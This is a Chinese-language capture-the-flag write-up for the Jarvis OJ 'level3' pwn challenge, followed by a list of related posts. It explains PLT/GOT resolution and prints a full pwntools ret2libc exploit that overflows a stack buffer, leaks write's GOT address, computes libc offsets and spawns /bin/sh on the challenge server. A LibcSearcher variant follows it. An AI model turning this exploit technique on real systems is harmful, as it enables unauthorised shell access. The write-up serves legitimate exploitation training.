Jarvis oj level3

下载下来发现有level3文件和libc.so文件，先checksec，和level2差不多，接着ida打开level3，没找到system函数和bin字符串，没什么办法了。接着去看so文件，libc是Linux下的ANSI C的函数库。找到了system函数和bin字符串。那么怎么利用呢？

首先了解plt和got表。链接
我是这么理解的：plt表中存放的是函数在got表中该项的地址，got表存放的是函数在内存中的真实地址，也就是说plt[write]指向got[write]，got[write]指向write函数在内存中的地址。而plt表在服务器和客户机是一样的，不一样的是函数在内存中的地址。程序运行后加载动态库，把动态库中的相应函数地址填入GOT表。同时还有个知识点，libc文件中不同函数、数据之间的偏移量在服务器和客户机中是一样的。

因此思想是首先利用write函数将服务器中函数的地址泄露，构造write(got[write])。

低
	pad
	ebp
	ret_addr
	write的参数1，从右到左
	write的参数2
	write的参数3
高

得到服务器中write函数的真实地址。
由于函数在内存中距so文件开头地址是一样的，因此算出offset=服务器函数地址-本地地址，服务器地址即为本地地址+offset。

脚本：

from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)offset=true_address-libc.symbols['write']bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offsetpayload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()

注意点：
我在p32里运算有问题，拉出来就可以了。

加一种，如果不知道libc版本，使用LibcSearcher库：

obj = LibcSearcher("read", u32(read_got)) //根据read的地址后3字节判断libc版本
offset=u32(read_got)-obj.dump('read')        //偏移
sys=obj.dump("system")+offset
bins=obj.dump("str_bin_sh")+offset

Jarvis oj level3相关推荐

[Jarvis OJ - PWN]——[XMAN]level3
[Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...
[Jarvis OJ - PWN]——[XMAN]level3_x64
[Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...
Jarvis OJ PWN题解持续更新~
最近沉(被)迷(迫)学pwn 看我们的志琦大佬我就知道 pwn 玩玩就行但是不认真学不行然后向大佬打听了几个pwn的平台网站打算玩一下这里找到了 Jarvis OJ ...
[Jarvis OJ - PWN]——Typo(内涵peak小知识)
[Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...
[Jarvis OJ - PWN]——Backdoor
[Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...
[Jarvis OJ - PWN]——[61dctf]fm
[Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...
[Jarvis OJ - PWN]——Test Your Memory
[Jarvis OJ - PWN]--Test Your Memory 题目地址: https://www.jarvisoj.com/challenges 题目: 32位程序,开了NX保护 IDA e ...
[Jarvis OJ - PWN]——[XMAN]level4
[Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中思路 0x1 ...
[Jarvis OJ - PWN]——Smashes
[Jarvis OJ - PWN]--Smashes 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下看看.64位,并且除了PIE ...

Jarvis oj level3

加一种，如果不知道libc版本，使用LibcSearcher库：

Jarvis oj level3相关推荐

最新文章

热门文章